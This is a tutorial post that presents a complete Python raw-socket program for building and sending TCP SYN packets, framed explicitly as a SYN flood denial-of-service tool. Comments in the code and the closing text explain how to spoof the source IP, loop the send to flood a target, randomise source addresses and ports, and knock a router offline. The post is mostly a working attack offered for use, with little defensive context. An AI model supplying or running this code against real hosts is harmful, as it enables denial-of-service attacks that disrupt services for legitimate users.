Syn flood and raw sockets
A syn flood program sends out large number of tcp syn packets to a remote host on a particular port number. Syn packets are intended to initiate a tcp connection. However if a large number of syn packets are send without any purpose, then then it would consume a lot of resources like memory on the remote system. This concept is used in denial of service (dos) attacks. It is like jamming the networking path of a remote machine or device. This results in the device being unable to serve actual requests from legitimate users.
In this article we are going to write a very simple syn flood program in python. A syn flood program works by creating syn packets which need raw socket support. Linux has raw socket support natively and hence the program shown in this example shall work only on a linux system even though python itself is platform independant. This is because the underlying socket libraries are different on windows and linux.
The theory behind the code is quite simple. Just create a raw socket and a tcp syn packet and send the packet over the raw socket. That is all that needs to be done.
Here is the program
''' Syn flood program in python using raw sockets (Linux) Silver Moon (firstname.lastname@example.org) ''' # some imports import socket, sys from struct import * # checksum functions needed for calculation checksum def checksum(msg): s = 0 # loop taking 2 characters at a time for i in range(0, len(msg), 2): w = (ord(msg[i]) << 8) + (ord(msg[i+1]) ) s = s + w s = (s>>16) + (s & 0xffff); #s = s + (s >> 16); #complement and mask to 4 byte short s = ~s & 0xffff return s #create a raw socket try: s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP) except socket.error , msg: print 'Socket could not be created. Error Code : ' + str(msg) + ' Message ' + msg sys.exit() # tell kernel not to put in headers, since we are providing it s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) # now start constructing the packet packet = ''; source_ip = '192.168.1.101' dest_ip = '192.168.1.1' # or socket.gethostbyname('www.google.com') # ip header fields ihl = 5 version = 4 tos = 0 tot_len = 20 + 20 # python seems to correctly fill the total length, dont know how ?? id = 54321 #Id of this packet frag_off = 0 ttl = 255 protocol = socket.IPPROTO_TCP check = 10 # python seems to correctly fill the checksum saddr = socket.inet_aton ( source_ip ) #Spoof the source ip address if you want to daddr = socket.inet_aton ( dest_ip ) ihl_version = (version << 4) + ihl # the ! in the pack format string means network order ip_header = pack('!BBHHHBBH4s4s' , ihl_version, tos, tot_len, id, frag_off, ttl, protocol, check, saddr, daddr) # tcp header fields source = 1234 # source port dest = 80 # destination port seq = 0 ack_seq = 0 doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 window = socket.htons (5840) # maximum allowed window size check = 0 urg_ptr = 0 offset_res = (doff << 4) + 0 tcp_flags = fin + (syn << 1) + (rst << 2) + (psh <<3) + (ack << 4) + (urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) # pseudo header fields source_address = socket.inet_aton( source_ip ) dest_address = socket.inet_aton(dest_ip) placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) psh = pack('!4s4sBBH' , source_address , dest_address , placeholder , protocol , tcp_length); psh = psh + tcp_header; tcp_checksum = checksum(psh) # make the tcp header again and fill the correct checksum tcp_header = pack('!HHLLBBHHH' , source, dest, seq, ack_seq, offset_res, tcp_flags, window, tcp_checksum , urg_ptr) # final full packet - syn packets dont have any data packet = ip_header + tcp_header #Send the packet finally - the port specified has no effect s.sendto(packet, (dest_ip , 0 )) # put this in a loop if you want to flood the target #put the above line in a loop like while 1: if you want to flood
The above program has to be run with root privileges. Raw sockets need root privileges. On ubuntu prefix sudo when running the script.
$ sudo python tcp_syn.py
Also note that if a firewall like firestarter is running then it might block the syn packets from being delivered. Use a packet sniffer like wireshark to check that the packet was generated and transmitted properly.
Many more things can be added to the above program. Put the sendto in a loop and it would send out huge number of syn packets, flooding the target system. Also try to change the source ip and source port in each packet in a loop. For this the pseudo header and tcp header checksum needs to be recalculated everytime.
The best thing to try this program on would be your LAN router. If might get disconnected or even restart itself if it is unable to handle a syn flood attack.